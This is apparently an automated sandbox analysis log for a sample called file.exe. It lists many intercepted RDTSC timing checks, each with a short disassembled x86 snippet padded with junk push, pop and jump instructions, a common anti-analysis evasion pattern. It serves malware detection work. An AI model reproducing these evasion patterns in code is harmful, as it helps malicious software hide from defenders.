Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F703F second address: 5F7043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 663F60 second address: 663F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668A59 second address: 668AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C84h 0x00000009 jne 00007F45A8838C76h 0x0000000f popad 0x00000010 push esi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pop esi 0x00000014 pop edi 0x00000015 pushad 0x00000016 pushad 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push esi 0x0000001d jne 00007F45A8838C76h 0x00000023 jmp 00007F45A8838C7Fh 0x00000028 pop esi 0x00000029 pushad 0x0000002a jnp 00007F45A8838C76h 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668BE1 second address: 668C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jmp 00007F45A84F32FDh 0x0000000c jc 00007F45A84F32F8h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F45A84F3300h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jns 00007F45A84F32F8h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668741 second address: 668771 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C85h 0x00000007 jmp 00007F45A8838C87h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 668771 second address: 668794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3306h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007F45A84F32F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 669482 second address: 66949F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A8838C7Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jne 00007F45A8838C76h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66949F second address: 6694A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F45A84F32F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F46F second address: 66F473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66F473 second address: 66F477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62F92C second address: 62F933 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FCDE second address: 62FCE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FD9E second address: 62FDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FED9 second address: 62FEDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FEDE second address: 62FEE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F45A8838C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FEE8 second address: 62FF1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3309h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007F45A84F32FDh 0x00000011 stc 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FF1D second address: 62FF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FF21 second address: 62FF2B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F45A84F32F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62FF2B second address: 62FF31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630023 second address: 630029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630029 second address: 63002D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63002D second address: 63003D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push edi 0x0000000b pushad 0x0000000c push edi 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630103 second address: 630107 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6301B3 second address: 6301CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3304h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6301CB second address: 6301E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C83h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6301E2 second address: 6301E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6301E6 second address: 630207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F45A8838C86h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630207 second address: 63020C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63020C second address: 63025D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007F45A8838C78h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 jmp 00007F45A8838C85h 0x00000029 push 00000004h 0x0000002b jno 00007F45A8838C7Ch 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63025D second address: 630281 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3308h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F45A84F32F6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6309A0 second address: 6309CB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F45A8838C76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push ecx 0x00000010 pushad 0x00000011 jmp 00007F45A8838C88h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6309CB second address: 630A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 mov eax, dword ptr [eax] 0x00000008 jp 00007F45A84F330Ch 0x0000000e jmp 00007F45A84F3306h 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jo 00007F45A84F3305h 0x0000001f jmp 00007F45A84F32FFh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630AB0 second address: 630ABA instructions: 0x00000000 rdtsc 0x00000002 je 00007F45A8838C7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630ABA second address: 630AEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F45A84F3304h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F45A84F3302h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 630AEA second address: 630B05 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dl, 06h 0x0000000a lea eax, dword ptr [ebp+12484420h] 0x00000010 mov dword ptr [ebp+122D1A47h], edi 0x00000016 push eax 0x00000017 push eax 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E531 second address: 66E539 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E539 second address: 66E53F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E53F second address: 66E556 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3303h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E556 second address: 66E588 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F45A8838C7Dh 0x0000000f pushad 0x00000010 jmp 00007F45A8838C81h 0x00000015 jng 00007F45A8838C76h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66E9A9 second address: 66E9AF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ED18 second address: 66ED2E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F45A8838C78h 0x0000000f push esi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ED2E second address: 66ED33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ED33 second address: 66ED47 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F45A8838C7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6194EF second address: 6194F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EFF6 second address: 66EFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66EFFF second address: 66F003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673CC9 second address: 673CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F45A8838C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673CD3 second address: 673CEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FEh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673CEB second address: 673CF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673CF1 second address: 673CFB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F45A84F32F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673E4B second address: 673E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673FC2 second address: 673FC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673FC6 second address: 673FE6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F45A8838C87h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 673FE6 second address: 673FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push edi 0x00000007 push esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 674483 second address: 674489 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678370 second address: 678376 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678376 second address: 678380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F45A8838C76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678380 second address: 678384 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6784B0 second address: 6784B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67867F second address: 678683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678683 second address: 678687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678687 second address: 678697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F45A84F32F6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AF3E second address: 67AF46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ABB0 second address: 67ABB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ABB7 second address: 67ABD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F45A8838C87h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ABD4 second address: 67ABD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ABD8 second address: 67ABEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F45A8838C7Ah 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67ABEF second address: 67AC03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F3300h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681241 second address: 681245 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681502 second address: 681512 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F45A84F32F6h 0x0000000a jnc 00007F45A84F32F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 681512 second address: 681528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jnl 00007F45A8838C76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F45A8838C76h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6825B3 second address: 6825F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F45A84F3305h 0x0000000d jmp 00007F45A84F3303h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F45A84F32FBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685391 second address: 685395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685395 second address: 6853A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F45A84F32F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6853A5 second address: 6853D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d js 00007F45A8838C76h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F45A8838C80h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6853D6 second address: 685400 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F45A84F32F6h 0x00000008 jmp 00007F45A84F3306h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jp 00007F45A84F32F6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685558 second address: 6855A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jg 00007F45A8838C76h 0x0000000c popad 0x0000000d push esi 0x0000000e jmp 00007F45A8838C84h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop esi 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F45A8838C84h 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F45A8838C82h 0x00000024 push edi 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 685857 second address: 68585F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68585F second address: 685884 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F45A8838C87h 0x0000000a pushad 0x0000000b jl 00007F45A8838C7Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68920B second address: 689224 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F45A84F32FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jnp 00007F45A84F3302h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689361 second address: 689366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689366 second address: 689372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnl 00007F45A84F32F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689919 second address: 68991E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68991E second address: 689931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jl 00007F45A84F32F6h 0x00000009 jne 00007F45A84F32F6h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A94 second address: 689A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A9A second address: 689A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689A9F second address: 689AA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FB6B second address: 68FB71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FB71 second address: 68FB77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FB77 second address: 68FBB3 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F45A84F32F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push esi 0x0000000e jmp 00007F45A84F3304h 0x00000013 pushad 0x00000014 popad 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F45A84F3303h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FBB3 second address: 68FBB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FD2C second address: 68FD31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68FFC3 second address: 68FFEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F45A8838C7Dh 0x00000009 popad 0x0000000a jmp 00007F45A8838C85h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690E2D second address: 690E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690E31 second address: 690E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690E35 second address: 690E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
